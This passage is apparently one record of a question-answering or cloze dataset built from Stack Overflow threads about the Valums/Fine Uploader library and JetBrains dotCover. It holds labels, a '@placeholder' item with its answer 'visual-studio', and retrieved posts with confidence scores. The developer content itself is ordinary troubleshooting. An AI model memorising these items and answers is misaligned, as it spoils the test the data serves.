must be trying to follow link and the still something running in the background.. . try adding return false to prevent the browser to change page Comment : Please provide where exactly said function is defined if you click stay on this page look for any errors in the console and provide any debugging that you have done on your own before coming here . Comment : You know that there are multiple people that have a look at the question and that destroy who made the comment probably didn t downvote you Calm down Comment : Don t use javascript : in the href . Attach the event correctly you are using jQuery use .click . Since you are following a link the browser may think you are leaving the page and my trigger onbeforeunload . Comment : Do you meant this plugin valums file-uploader https : github.com valums file-uploader Which version are you using And it seems the main branch has a different name now https : github.com Widen fine-uploader . .. . Answer : The call to Upload1 input-type-file .click is not executed because open is undefined . I copied your code in this document : .. . .. . clicking the link calls the function changeDocument .. . but since open is undefined the click event is not fired .. . .. . If you change the calling to this javascript : changeDocument 1 true the click is fired and the file open dialog is called . If you have more questions feel free to ask . Comment : Yes U r Right. . with that conclusion. . but it still doesn t work with IE9 IE8 Comment : I am updating the Question with more details", "Question : I am uploading a picture to the Express.js 3.0.0 server using ajax Valum s qq uploader https : github.com valums file-uploader . It works under all popular browsers but Safari . The following error occurs : .. . .. . TypeError : Cannot read property length of undefined at promote home andrew projects dreamshare-git src main node-modules express node-modules connect node-modules qs lib querystring.js : 15 : 18 at parse home andrew projects dreamshare-git src main node-modules express node-modules connect node-modules qs lib querystring.js : 53 : 58 at parse home andrew projects dreamshare-git src main node-modules express node-modules connect node-modules qs lib querystring.js : 50 : 7 at merge home andrew projects dreamshare-git src main node-modules express node-modules connect node-modules qs lib querystring.js : 68 : 5 at String.split.reduce.base home andrew projects dreamshare-git src main node-modules express node-modules connect node-modules qs lib querystring.js : 111 : 14 at Array.reduce native at parseString home andrew projects dreamshare-git src main node-modules express node-modules connect node-modules qs lib querystring.js : 101 : 6 at Object.exports.parse home andrew projects dreamshare-git src main node-modules express node-modules connect node-modules qs lib querystring.js : 127 : 7 at IncomingMessage.module.exports home andrew projects dreamshare-git src main node-modules express node-modules connect lib middleware urlencoded.js : 66 : 18 at IncomingMessage.EventEmitter.emit events.js : 90 : 17 .. . .. . Can you please advise any solution Thank you .. . Answer : OK we sorted it after digging into express.js internals . The problem was the old version of file uploader didn t set type for uploaded file and Safari set it to default plain post so express.js incorrectly process it as plain post query . The solution was to update upload library . Therein the following line correctly sets the content-type :", "Question : I m trying to protect my upload controller method using the MVC ValidateAntiForgeryToken but I m struggling to work out how to get the RequestVerificationToken included in the post . My action is like this : .. . .. . Looking through the documentation http : valums-file-uploader.github.io file-uploader for the uploader there aren t any exposed hooks that I can find that would allow me access outside the qq code to manipulate the form it generates . Has anyone else managed to get this to work After editing the source file for the form creation my requests are still not passing the validation : .. . .. . Request .. . Answer : If you look in the source code it looks like you could add the antiforgery token code to the createForm : function iframe params .. . portion of the uploader and be good to go . See the two answers here http : stackoverflow.com questions 14473597 include-antiforgerytoken-in-ajax-post-asp-net-mvc for more help . Comment : Yeah I did see that code when I browsed it but hacking source like that will almost certainly end up getting missed when it s upgraded at a later date . Something I was attempting to avoid to be honest . Thanks . Comment : I already use some similar code for my Ajax stuff so I have all of that in-place already I just didn t want to hack source files . Comment : the other option that I haven t tested might be to add the anti-forgery to the params variable when you call the uploader . Comment : I ve tried the params approach already and it doesn t work . I ve just edited the form creation method and that doesn t work either .. . very odd . Comment : Also strangely adding a breakpoint on the form creation method never gets hit either .. . it gets weirder .. .", "Question : Looks like both of the libraries built by Andrew Valums . They both seem to have the same license GNU GPL v3 . File-uploader can be easily downloaded http : valums-file-uploader.github.io file-uploader but for the fine-uploader I have to provide my email-address to download http : fineuploader.com downloads.html and it would allow me to use it only for 45 days for free . As of now it seems I m able to clone both of these on github . My question is can I use both or one of these libraries in our of my clients projects for without getting a commercial license Comment : This is not an appropriate question for stackoverflow . Stackoverflow is for technical questions . If you have licensing question please email licensing@fineuploader.com . Comment : Thanks Ray Will do . Comment : I m also typing up a bit of a history lesson for anyone else who runs into this . The topic may be deleted from SO though . Comment : Thanks for the feedback everybody As all of you can see I m a newby here . What are my options to get this question out of the way .. . Answer : Update : As of version 5.9.0 in May of 2016 Fine Uploader is now 100 Free Open Source Software licensed under MIT . Please note that there is a long and storied history of Fine Uploader . The original library was developed by Andrew Valums . In August of 2012 after the library at valums file-uploader decayed for a while as Andrew ran out of time to work on the project he handed it over to me . The name was then changed to Fine Uploader . At the time Andrew made me the maintainer of the library there were many forks of the project . The one at valums-file-uploader.github.io was one such fork . All forks as far as I can tell have been abandoned for quite a long time . The only current actively maintained version is the original now located at Widen fine-uploader http : fineuploader.com . The one you referenced valums-file-uploader.github.io has had no activity for over 7 months . Meanwhile the official Fine Uploader a.k.a . valums file-uploader has been evolving rapidly since I took over development . In late March of 2013 Andrew and I transferred ownership of Fine Uploader to Widen Enterprises my employer . The valums file-uploader repo was then transferred to Widen fine-uploader . It is dual-licensed . The default license is GPL v3 . We also offer a commercial license . Our licensing model which is covered in the licensing FAQ http : fineuploader.com faq was written with the expectation that commercial uses of Fine Uploader would be licensed paid . We put money and time into Fine Uploader and it s important that the product remains financially viable in order for us to continue to maintain and evolve the library . Comment : For open-source users those comfortable with the GPL v3 license please see the documentation for information on building your own version-stamped copy of the library . -- docs.fineuploader.com branch master contributing.html http : docs.fineuploader.com branch master contributing.html Comment : Note that as of version 5.1 Fine Uploader s license has changed . There is a commercial license which you must purchase if you are using Fine Uploader in a commercial setting . If you are using Fine Uploader in a free project then you may use Fine Uploader for free . Comment : Fine Uploader is MIT as of 5.9.0 .", "Question : I have written this in web.config : .. . .. . On client-side I m using valum s AjaxUpload plugin . When using IE 9 I can t check uploading file size with JavaScript because IE 9 does not support this . So if I upload large file with IE server will throw exception because of above setting written in web.config . How can I catch this exception and show message to user thanks in advance Comment : The response code should be different from the server 200 you should be able to catch the response code to present your message Comment : The plugin is using hidden iframe so I cannot get status code . Additionally it throws this error only when exception is thrown on server-side : Unsafe JavaScript attempt to access frame with URL data : text html chromewebdata from frame with URL my url . The frame requesting access has a protocol of http the frame being accessed has a protocol of . Protocols must match . Comment : What version of this plug in It sounds like you may be using an old non-official version . .. . Answer : On this page Ajax Upload using valums ajax upload plugin inside a form http : stackoverflow.com questions 2227307 ajax-upload-using-valums-ajax-upload-plugin-inside-a-form could you not use the onComplete section to find the response code Comment : onComplete is not called", "Question : null .. . Answer : I m using Valum s Ajax file-uploader . I have following div for this purpose : .. . .. . I initialized the uploader on javascript as follows : .. . .. . Following is my qq.fileUploader function inside fileuploader.js : .. . .. . Now what happens is that the qq-upload-button is not loaded on low quality cell phones or slow internet connectivity . There is message Just a moment . Can it be because DOM is not fully loaded or am I doing something wrong . How can I cancel this action if time spent is more than one minute Comment : You should really consider switching to a current version of this library as the version you are using is very old ." ] }
[ "yes-answer-long", "yes-answer-short" ]
multiple-files
UNK_RELATION
dotcover@visual-studio@104
dotcover -- dotcover is a tool that analyzes code-coverage of .net and silverlight applications inside @placeholder or on a continuous-integration server .
{ "confidence": [ 58.772056579589844, 57.19981384277344, 55.50076675415039, 53.61714553833008, 52.011924743652344, 51.986122131347656, 50.73036193847656, 49.770118713378906, 48.518226623535156, 48.26959991455078, 48.12684631347656, 48.058773040771484, 47.06402587890625, 47.0373649597168, 46.62353515625, 45.44282531738281, 45.28763961791992, 45.05043411254883, 45.01343536376953, 44.50373458862305, 44.50373458862305, 44.22273254394531, 44.03973388671875, 43.375831604003906, 43.05915069580078, 42.70262145996094, 42.04021453857422, 42.04021453857422, 41.726097106933594, 41.494789123535156, 41.39997863769531, 41.32147216796875, 41.24076843261719, 41.24076843261719, 40.83576583862305, 40.39691162109375, 40.248138427734375, 40.02409362792969, 39.99286651611328, 39.98624801635742, 39.98624801635742, 39.98624801635742, 39.98624801635742, 39.82095718383789, 39.633522033691406, 39.57945251464844, 39.57162857055664, 39.57162857055664, 39.57162857055664, 39.30622100830078, 39.30490493774414, 39.30490493774414, 39.29975891113281, 38.5415153503418, 38.5415153503418, 38.457584381103516, 38.340187072753906, 38.232147216796875, 38.232147216796875, 38.232147216796875, 38.232147216796875, 37.9961051940918, 37.9961051940918, 37.933387756347656, 37.933387756347656, 37.933387756347656, 37.24817657470703, 37.24817657470703, 37.24817657470703, 37.24817657470703, 37.24817657470703, 37.24817657470703, 37.24817657470703, 37.24817657470703, 37.24817657470703, 36.97216796875, 36.87639617919922, 36.84138107299805, 36.84138107299805, 36.84138107299805, 36.83899688720703, 36.83899688720703, 36.83899688720703, 36.46082305908203, 36.29897689819336, 36.29897689819336, 35.93937683105469, 35.78438949584961, 35.624114990234375, 35.560020446777344, 35.53258514404297, 35.53258514404297, 35.53258514404297, 35.53258514404297, 35.192935943603516, 35.192935943603516, 35.11659622192383, 34.66626739501953, 34.6338005065918 ], "content": [ "I am trying to decide which code-coverage tool I want to use with my CruiseControl.NET continuous-integration server .", "Code coverage is supplied by dotCover .", "Currently when I run .NET Code Coverage : JetBrains dotCover for a specific project then the dotCover crashes with StackOverflowException .", "At the moment dotCover doesn t provide command-line coverage support for Silverlight tests .", "The configuration we have for the .NET Coverage is : .. . .. . .NET Coverage tool : JetBrains dotCover Path to dotCover .. . Home : blank .. . Filters : + : UnitTest.Search.dll .. . Attribute Filters : none .. . .. . We also tried adding the dotCover Home path and extra permissions to the Teamcity folder on the build-server but the error remains consistent .", "Still DotCover is reporting test-coverage for the tests .", "dotCover displays coverage results and treats code as covered regardless of test failures .", "I m using dotCover command-line tool to run coverage on some Tests .", "I am using JetBrains dotCover https : www.jetbrains.com dotcover for writing my units tests in a .NET application .", "Additionally dotCover provides this statement when no code-coverage can be determined .", "Are you mentioning dotCover because it s specific to dotCover", "I am using a standalone dotCover installation with symbol server support to gather code-coverage from manual tests .", "You can either use the merge command console runner or the Merge Coverage Snapshots option dotCover standalone dotCover integrated in Visual Studio .", "Here are some more links related to the TeamCity and dotCover integration : .. . .. . http : blogs.jetbrains.com dotnet 2010 12 coverage-with-dotcover-teamcity-mstest-nunit-or-mspec .. . http : confluence.jetbrains.net display TCD65 JetBrains+dotCover", "I am using the DotCover console runner to check out the code-coverage .", "I have a .Net project and I have recently integrated Sonar to measure the code-coverage but the Coverage is very low compared to coverage that I see in DotCover .", "I am trying to produce test-coverage reports using dotCover and lighthouse .", "SonarQube does the aggregating of code-coverage itself and imports only the file level coverage information from the dotCover report .", "My teams are currently using TFS code stored in GIT TeamCity as a build-server DotCover for code-coverage .", "I dont want dotcover to flag lines-of-code as missing coverage because of a failing test .", "Dotcover shows a total coverage percent what percentage of your code lines are hit by your unit tests .", "I am using dotCover to check my code-coverage .", "This was a bug in JetBrains dotCover .", "See Filtering with dotCover http : blogs.jetbrains.com dotnet 2010 07 filtering-with-dotcover for details on using dotCover filters .", "Is there a way to use the dotCover command-line tool in TeamCity to get code-coverage of an app running under IIS", "Code coverage of IIS with the dotCover command-line hasn t been implemented yet as described in this ticket https : youtrack.jetbrains.com issue DCVR-5921 on the dotCover issue tracker .", "Dotcover reports that a particular function method in a file doesnt have coverage when there is actually a test for the function method .", "I noticed that this happens when the corresponding test is failing and so dotcover flags that this method doesnt have coverage .", "The TeamCity continuous-integration system by JetBrains includes a free command-line version of dotCover integrated into it .", "The dotcover cover command creates a 15Mb .dcvr file but running dotcover report over that file produces empty results : .. . .. . I have successfully produced reports for non silverlight code unit nunit test runner so I know may way around dotCover .", ".. . .. . JetBrains dotCover Coverage session started 9 30 2015 4 : 22 : 46 PM .. . .. . JetBrains dotCover Coverage session finished with errors : Can t start application .", "Which would be a better tool : DotCover 2.1 or NCover 4.0", "Looking at the dotcover report generated - I can see the coverage just not in sonar .", "In this case dotCover shows coverage results for tests from your current solution .", "dotCover highlights the whole code base either green or red based on the code-coverage but I want to remove the highlights after I m done checking the code-coverage .", "I then turned on dotCover without any assembly filters and it performed code-coverage analysis on the above test dll correctly .", "I am importing DotCover results into SonarQube and I am seeing differences in the coverage percentages that are being reported in Sonar compared to the percentages that I can see in the raw DotCover html .", "I set a build-process for it in TeamCity and I have added a an NUnit runner build step with these settings : .. . .. . nunit runner 2.6.3 .. . run tests from : teamcity.build.workingDir Sources bin .Web.UnitTests.dll .. . .net coverage tool : JetBrains dotCover .. . Filters : --empty-- .. . .. . In the Code Coverage tab of the build under Coverage Breakdown I can only see : .. . .. . MyProject.Domain .. . MyProject.Web.UnitTests .. . .. . MyProject.Web the object of the tests and a few other assemblies in the solution are not displayed there and are ignored by the dotCover code-coverage calculations .", "I m starting to use dotCover .", "What versions of dotCover and ReSharper do you use", "I think that has something to do with dotCover .", "I do whatever the default action for dotCover xUnit is .", "It is being generated using the standard Teamcity Nunit with Dotcover .", "dotCover returns unsuccessfully with -100 exit code after some time of execution .", "I tried changing the partcover argument to dotcover but it would seem that the launcher does not support arguments for dotcover", "Trying to get dotCover to generate coverage results gives me a FileNotFoundException on both the ddls from the referenced projects .", "Running dotCover itself will be easy enough .", "What version of dotCover are you using", "If using an external DotCover add the rights there .", "But dotCover doesnt recognize my code as covered .", "I m using Dotcover to see the coverage that my unittests have of my production code .", "We re using dotCover as part of our gated check-ins on TFS to ensure code-coverage of at least a certain percentage .", "The corresponding link as requested : https : www.jetbrains.com dotcover help dotCover Console Runner Commands.html merge", "Take a look at the dotCover Tips Tricks http : blogs.jetbrains.com dotnet category dotcover-tipstricks page .", "You need to use trial dotCover installation until they fix it and put the path to installed dotCover into the build step configuration .", "This link is the dotCover CLI documentation .", "I had this same problem importing dotCover results .", "I had the same problem with Release mode and had to enable PDB output which is what dotCover requires to determine the code-coverage .", "The overall code-coverage information on the project level might differ if dotCover considers the project to include N files but SonarQube sees M files for example .", "SonarQube doesn t compute what is a coverable statement it uses the file level information provided by dotCover : Each line that has code-coverage information i.e .", "I have tried to run the code-coverage from dotCover locally in my machine and I am facing another problem now .", "The VSTest runner works fine at generating code-coverage for unit tests using dotCover .", "I m using dotCover to analyze code-coverage of my unit tests and I m getting some strange results.. .", "Has anyone successfully run coverage reporting using dotCover and ideally TeamCity while targeting release-mode in the application", "Anyway this is working fine but now I would like to add coverage analysis with DotCover .", "I am having a build step in teamcity which runs nunit tests and generates the coverage report using dotcover .", "I m trying to run dotCover over command-line .", "I initially looked at dotCover as it s integrated into TeamCity .", "I want to run dotCover probably the console runner", "I m using Dotcover to cover my unittests - why", "The result is that dotCover cannot succeed as the PDBs are mandatory .", "Note that dotCover will exclude assemblies from the GAC .", "But with dotCover selected I always get the same error .", "I normally leave the path to dotCover Home blank", "The next thing is that there is another bug with dotCover in TeamCity 8 .", "I am trying to upload Unit Test and dotCover Code Analysis results from TeamCity to Sonar server .", "looks like you need teamcity-7.1 see confluence.jetbrains.com display TCD7 JetBrains+dotCover http : confluence.jetbrains.com display TCD7 JetBrains+dotCover", "We ve just upgraded TeamCity to 6.0.3 and I ve added dotCover coverage to the NUnit build step .", "Some context : We currently run dotCover over our NUnit Test step to report on our test-coverage .", "If a nuget-package includes .pdb files dotCover seems to consider it a fair candidate for analysis and coverage which totally skews the results .", "Both dotCover and Resharper have the same test settings in options .", "Any ideas why dotCover cannot resolve the dependencies when Resharper can", "Unfortunately it s not possible to cover an IIS application via dotCover console runner .", "TeamCity supports testing using MSTest and computing code-coverage with dotCover this is even integrated into the default TeamCity install .", "If I run DotCover I get a Unit test-coverage report if I use CodeCoverage I get Unit Test Coverage report .", "dotCover only provides reporting on statement-level coverage where as other tools like NCover also include function and branch coverage .", "Tried with SonarQube 5 dotCover 2.7 TC8", "Then your dotCover XML should look something like this : .. . .. . Disclaimer : I don t use dotCover so I m not 100 sure if this will actually work .", "JetBrains dotCover Snapshot merging started 2014-06-30 11 : 00 : 18 JetBrains dotCover Source snapshots number : 1 JetBrains dotCover Snapshot merging finished 2014-06-30 11 : 00 : 19 .. . 11 : 00 : 19 dotCover exited with code : 0", "Since I run the nUnit and dotCover on the TeamCity server there s no VS involved .", "I am running dotcover to generate a coverage report and then running that through sonarqube 5.0.1 via Jenkins plugin .", "I have a NUnit build step which runs my unit tests and then runs dotCover for the coverage .", "The coverage report from the nunit dotcover build step is stored in the teamcity hidden artifacts directory .", "The first build configuration builds the solution and runs the tests coverage plus saves the dotCover snapshot as an artifact .", "What is the correct way to call dotCover command runner passing it several filters", "What does it say when it tries to import the dotcover report", "11 : 00 : 09 dotCover exited with code : 0 .. . 11 : 00 : 09 Use DotCover 2.6.x commands set .. . 11 : 00 : 09 Merge dotCover reports 9s .. . 11 : 00 : 19 Started dotCover : C : TeamCity buildAgent tools dotCover dotCover.exe merge C : TeamCity buildAgent temp buildTmp dotcover4719506578346509917.xml .. . 11 : 00 : 19 Output : JetBrains dotCover Console Runner v2.6.1000.602 .", ".NET framework 4.0 .. . Running test generating coverage report with mstest VS 2010 Test Suite dotCover 10 CLI freeware respectively .", "Example screenshot of dotcover showing percent coverage http : i.stack.imgur.com ezpxx.png .. . .. . I would love to be able to increase the number of digits shown in this percentage so I can easily compare to see degree of improvement ." ] }
{ "confidence": [ 78.52689361572266, 73.91387176513672, 68.63172912597656, 67.73322296142578, 65.71493530273438, 64.48828125, 63.28861618041992, 63.16097640991211, 62.50040054321289, 62.157222747802734, 61.16286849975586, 60.99684524536133, 60.918663024902344, 59.96915054321289, 59.964874267578125, 59.523677825927734, 59.51821517944336, 59.01540756225586, 58.120914459228516, 57.978050231933594 ], "content": [ "Question : I am trying to decide which code-coverage tool I want to use with my CruiseControl.NET continuous-integration server . Which would be a better tool : DotCover 2.1 or NCover 4.0 Comment : This is not a question for stackoverflow . Your question depends on your opinions and requirements . Comment : hi thanks for your insightful comment . i have seen several similar questions with pretty high ratings posted on stackoverflow before and hence considered posting here Comment : Each one will have its benefit over the other . However it s not a question really more of a debate . Choosing one over the other requires more information about what you are building and what you want from the coverage tool . .. . Answer : I think the metrics these tools provide is where your thought should go if this is just for CruiseControl.NET and not to be used in Visual Studio since in general they both do a good job in the other areas . You might like to edit your question to clarify your requirements if that isn t the case since for example dotCover has better ReSharper integration . On the metrics topic dotCover only provides statement-level coverage while NCover provides sequence point branch and method coverage as well as Cyclomatic Complexity Change Risk Anti-Patterns CRAP and several other metrics . If you have a large and complex codebase the extra metrics might be useful but if you just want to get a general idea of what is covered and what isn t statement coverage will still give you that . Branch coverage will be more useful if you have complex code because it makes it easier to find the areas of code that have the most uncovered branches which generally is more complicated code . The NCover blog has a good post http : blog.ncover.com understanding-branch-coverage on the difference between all these metrics .", "Question : I use TeamCity to support continuous-integration of a project . Currently when I run .NET Code Coverage : JetBrains dotCover for a specific project then the dotCover crashes with StackOverflowException . Also the unit test TestSomething is correct and always runs successfully . Here are the error logs snapshot from the build : .. . .. . I really cannot understand why this happens . Any help from experts Comment : Are you mentioning dotCover because it s specific to dotCover Would it also crashed if you switched dotCover off and hence ran the tests with plain NUnit - or whatever test system you use Comment : When I run the unit tests with NUnit either NUnit console or NUnit UI there is no problem . Also when I run these from Resharper there is no problem . I think that has something to do with dotCover . I have tried to run the code-coverage from dotCover locally in my machine and I am facing another problem now . dotCover returns unsuccessfully with -100 exit code after some time of execution . Many unit tests pass but at some point fails . Comment : Any other help .. . Answer : This was a bug in JetBrains dotCover . Comment : Do you have any pointers to a workaround Or a fix I should apply", "Question : The dotCover client tool which is integrated into ReSharper Ultimate by JetBrains includes an option to get code-coverage for an application running under IIS eg an ASP.NET MVC app . The TeamCity continuous-integration system by JetBrains includes a free command-line version of dotCover integrated into it . The VSTest runner works fine at generating code-coverage for unit tests using dotCover . However it doesn t produce any code-coverage of code running under IIS for example from integration tests using something like Selenium WebDriver . Is there a way to use the dotCover command-line tool in TeamCity to get code-coverage of an app running under IIS .. . Answer : Code coverage of IIS with the dotCover command-line hasn t been implemented yet as described in this ticket https : youtrack.jetbrains.com issue DCVR-5921 on the dotCover issue tracker . However using tips from a comment by Tony Fabris on the ticket https : youtrack.jetbrains.com issue DCVR-5921 comment 27-1278447 I was able to create a Powershell script which can produce code-coverage of the application . This uses IIS Express and not IIS which is not ideal but close enough for now . I ve posted my script here in case it would be of use to other people . Note that in my case I checkout to a fixed directory and so the website working path and test assemblies are all at known absolute paths . The TeamCity default is to checkout to a different temporary directory for each build and so if you are using the default you ll need to change the script to take account of that .", "Question : I am trying to produce test-coverage reports using dotCover and lighthouse . The dotcover cover command creates a 15Mb .dcvr file but running dotcover report over that file produces empty results : .. . .. . I have successfully produced reports for non silverlight code unit nunit test runner so I know may way around dotCover . Is anyone aware of any problems using this combination of tools .. . Answer : At the moment dotCover doesn t provide command-line coverage support for Silverlight tests . Thanks for the info we ll investigate this issue further . The problem is that a snapshot of the test launcher is taken instead of the process snapshot and a null result can be caused by the fact that there is no launcher PDB s .", "Question : I am using a standalone dotCover installation with symbol server support to gather code-coverage from manual tests . I need to gather code-coverage from two independent windows-services sharing the same code base and merge the results . How can I do that Any pointer into documentation would be useful . Thanks in advance Stefan .. . Answer : If the question is about how to merge snapshots then here is the answer . You can either use the merge command console runner or the Merge Coverage Snapshots option dotCover standalone dotCover integrated in Visual Studio . The corresponding link as requested : https : www.jetbrains.com dotcover help dotCover Console Runner Commands.html merge", "Question : I am using JetBrains dotCover https : www.jetbrains.com dotcover for writing my units tests in a .NET application . dotCover highlights the whole code base either green or red based on the code-coverage but I want to remove the highlights after I m done checking the code-coverage . So is there anyway to do this other than quitting Visual Studio removing the Test Results folder and.dotUser file and restarting the Visual Studio .. . Answer : The existing answers didn t work for me . I found it in the Resharper menu . Resharper Cover Toggle Code Highlighting .. . .. . Resharper - Cover - Toggle Code Highlighting http : i.stack.imgur.com M79jY.png", "Question : I am using JetBrains dotCover https : www.jetbrains.com dotcover for writing my units tests in a .NET application . dotCover highlights the whole code base either green or red based on the code-coverage but I want to remove the highlights after I m done checking the code-coverage . So is there anyway to do this other than quitting Visual Studio removing the Test Results folder and.dotUser file and restarting the Visual Studio .. . Answer : You can easily switch highlighting on and off by pressing Ctrl+Alt+K H . Or you can click Highlight code on the toolbar of the Coverage Results window . enter image description here http : i.stack.imgur.com aOHPA.png Comment : Ctrl-Alt-K opens Call Hierarchy tab on my machine", "Question : We re trying to setup Teamcity and are running into an issue when adding code-coverage resulting in a Target executable doesn t exist error message . Are build configuration currently consists of two steps step one is of runner type Visual Studio sln and step two is of runner type MSTest . These run fine until we add .NET Coverage to the MSTest step . The configuration we have for the .NET Coverage is : .. . .. . .NET Coverage tool : JetBrains dotCover Path to dotCover .. . Home : blank .. . Filters : + : UnitTest.Search.dll .. . Attribute Filters : none .. . .. . We also tried adding the dotCover Home path and extra permissions to the Teamcity folder on the build-server but the error remains consistent . We ve added the teamcity.agent.dotCover.log configuration parameter which gave us this output : .. . .. . Any suggestions you can provide to help us resolve this would be appreciated . Thanks . Comment : What version of TeamCity do you use Comment : @Maria we re using TeamCity Professional 9.0.3 build 32334 .. . Answer : With some help I ve been able to resolve this issue which turned out to be a bad System Parameter I d added . To resolve an issue with Unit Tests not working I d added this System Parameter : .. . .. . This resulted in the Unit Test working but when I configured Code Coverage the Target executable doesn t exist error occured . To resolve this I had to update the System Parameter to : .. . .. . I d made the assumption that as the Unit Tests worked the problem I had was with dotCover not MSTest and nothing in the error indicated otherwise . .. . .. . As a side note the reason I had to add the System Parameter was because Teamcity isn t auto detecting the install of MSTest . I think this is due to it being installed on a different drive but I can t confirm this . I ve raised it with JetBrains so hopefully they can resolve it .", "Question : Dotcover reports that a particular function method in a file doesnt have coverage when there is actually a test for the function method . I noticed that this happens when the corresponding test is failing and so dotcover flags that this method doesnt have coverage . If the test passes I dont see this issue . I am wondering if this is intentional or if there are any settings that we can change . I dont want dotcover to flag lines-of-code as missing coverage because of a failing test . Any help is much appreciated . .. . Answer : dotCover displays coverage results and treats code as covered regardless of test failures . The important thing is that the code within a test is invoked before a failure occurs . For example if the corresponding SetUp method fails then coverage data for this test will be missing .", "Question : I am using JetBrains dotCover https : www.jetbrains.com dotcover for writing my units tests in a .NET application . dotCover highlights the whole code base either green or red based on the code-coverage but I want to remove the highlights after I m done checking the code-coverage . So is there anyway to do this other than quitting Visual Studio removing the Test Results folder and.dotUser file and restarting the Visual Studio .. . Answer : Ok after hours of playing with it I realized how to remove it . You just need to close the unit-testing session and it will remove it closing the window or Unit Test Sessions window doesn t work . enter image description here http : i.stack.imgur.com SiuyA.png", "Question : I am importing DotCover results into SonarQube and I am seeing differences in the coverage percentages that are being reported in Sonar compared to the percentages that I can see in the raw DotCover html . At the individual class level this looks like it is related to the way that Sonar is calculating the number of coverable statements . This looks much different to what I am seeing in the DotCover html and the result is that different percentages are showing via the SonarQube dashboard . Is this a known issue or is there a way to ensure that the percentages get imported into Sonar correctly .. . Answer : SonarQube does the aggregating of code-coverage itself and imports only the file level coverage information from the dotCover report . The overall code-coverage information on the project level might differ if dotCover considers the project to include N files but SonarQube sees M files for example . SonarQube doesn t compute what is a coverable statement it uses the file level information provided by dotCover : Each line that has code-coverage information i.e . that has hits 0 or 0 is considered to be coverable . Feel free to post a follow-up question if you see differences on a single file between what dotCover reports and what SonarQube reports .", "Question : I have a Visual Studio solution consisting of several projects . I set a build-process for it in TeamCity and I have added a an NUnit runner build step with these settings : .. . .. . nunit runner 2.6.3 .. . run tests from : teamcity.build.workingDir Sources bin .Web.UnitTests.dll .. . .net coverage tool : JetBrains dotCover .. . Filters : --empty-- .. . .. . In the Code Coverage tab of the build under Coverage Breakdown I can only see : .. . .. . MyProject.Domain .. . MyProject.Web.UnitTests .. . .. . MyProject.Web the object of the tests and a few other assemblies in the solution are not displayed there and are ignored by the dotCover code-coverage calculations . Why How can I tell it which assemblies to use I ve unsuccessfully tried various + : - : combinations in the Filters field . But with Filters empty I am expecting MyProject.Web to be included since MyProject.Domain is - why isn t it included .. . Answer : Are you building in Release or Debug mode I had the same problem with Release mode and had to enable PDB output which is what dotCover requires to determine the code-coverage . PDB is not enabled by default for Release builds . To enable it go to Project Settings - Build - Advanced button at the bottom - Debug Info - Choose pdb-only or full . Additionally dotCover provides this statement when no code-coverage can be determined . It may be helpful to check all of the reasons listed : .. . .. . No executable code was detected . .. . The issue could be caused by one of the following : .. . .. . Include exclude patterns are incorrect .. . Assemblies are compiled without debugging information .. . .pdb files are not available .. . Visual Studio code-coverage is enabled for MSTest .. . .testrunconfig is used for MSTest and Visual Studio code-coverage is not disabled CodeCoverage section with enable true is present", "Question : According to the log I m missing the info to get the test-coverage . Possible reasons are : .. . .. . 1 . Include exclude patterns are incorrect .. . 2 . Assemblies are compiled without debugging information .. . 3 . PDB files are not available .. . 4 . Visual Studio code-coverage is enabled for MSTest .. . 5 . TESTRUNCONFIG is used for MSTest and Visual Studio code-coverage is not disabled .. . .. . Being a novice on TeamCity I need some guidance on what to do . 1 . I ve included all DLLs by + : DLL . No exclusion at the moment but I ve tried to omit the test itself by - : test . 2 . I compile using DEBUG profile and the result is put on the server in bin debug and obj debug directories . There s no release at all . 3 . I have PDB files in .source bin debug on the server . 4 . Since I run the nUnit and dotCover on the TeamCity server there s no VS involved . 5 . Since I run the nUnit and dotCover on the TeamCity server there s no VS involved . What do I miss What can I do more Edit .. . .. . The system is : VS13 TFS10 TC8.2 the latest available with the included nUnit and dotCoverage .. . .. . The part of log that is the testing step no errors in the compile step reported exit code 0 . After this there s only the removal of dotCover snapshot files . Note however that there s no DATA file to be found and that the XML file contains no data . What can I do here 10 : 59 : 39 Step 2 2 : Test NUnit 29s .. . 10 : 59 : 39 Starting : C : TeamCity buildAgent plugins dotnetPlugin .. . bin JetBrains.BuildServer.NUnitLauncher.exe TeamCityImplicit .. . 10 : 59 : 39 in directory : C : TeamCity buildAgent work 263aa919ed5f7bb8 .. . 10 : 59 : 46 JetBrains dotCover Console Runner v2.6.1000.602 . Copyright c 2009-2014 JetBrains s.r.o . All rights reserved . 10 : 59 : 55 JetBrains dotCover Coverage session started 2014-06-30 10 : 59 : 55 .. . 11 : 00 : 02 Start TeamCity NUnit Test Runner .. . 11 : 00 : 02 Running NUnit-2.6.3 tests under .NET Framework v4.0 x64 .. . 11 : 00 : 03 AutonomousTesting.dll .. . 11 : 00 : 03 CoverageTest.TestExample.TestEquality .. . 11 : 00 : 03 CoverageTest.TestExample.TestException .. . 11 : 00 : 03 CoverageTest.TestExample.TestInequality .. . 11 : 00 : 03 CoverageTest.TestExample.TestOmission .. . 11 : 00 : 03 Test ignored : CoverageTest.TestExample.TestOmission .. . 11 : 00 : 05 AutonomousTesting.dll .. . 11 : 00 : 05 CoverageTest.TestExample.TestEquality .. . 11 : 00 : 05 CoverageTest.TestExample.TestException .. . 11 : 00 : 05 CoverageTest.TestExample.TestInequality .. . 11 : 00 : 05 CoverageTest.TestExample.TestOmission .. . 11 : 00 : 05 Test ignored : CoverageTest.TestExample.TestOmission .. . 11 : 00 : 07 JetBrains dotCover Coverage session finished 2014-06-30 11 : 00 : 07 .. . 11 : 00 : 07 JetBrains dotCover Coverage results post-processing started 2014-06-30 11 : 00 : 07 .. . 11 : 00 : 08 JetBrains dotCover Coverage results post-processing finished 2014-06-30 11 : 00 : 08 .. . 11 : 00 : 09 teamcity importData type dotNetCoverage tool dotcover file C : TeamCity buildAgent temp buildTmp coverage dotcover16594618384737853441.data .. . 11 : 00 : 09 Importing data from C : TeamCity buildAgent temp buildTmp coverage dotcover16594618384737853441.data 8.38 KB with dotNetCoverage processor 11 : 00 : 09 Process exited with code 0 .. . 11 : 00 : 09 Waiting for 1 service processes to complete .. . 11 : 00 : 09 Processing 1 coverage report s .. . 11 : 00 : 09 Generating coverage report by dotcover for files : C : TeamCity buildAgent temp buildTmp coverage dotcover16594618384737853441.data .. . 11 : 00 : 09 Get dotCover version .. . 11 : 00 : 09 Started dotCover : C : TeamCity buildAgent tools dotCover dotCover.exe version C : TeamCity buildAgent temp buildTmp dotCover4472367238745438467Version .. . 11 : 00 : 09 Output : JetBrains dotCover Console Runner v2.6.1000.602 . Copyright c 2009-2014 JetBrains s.r.o . All rights reserved . 11 : 00 : 09 dotCover exited with 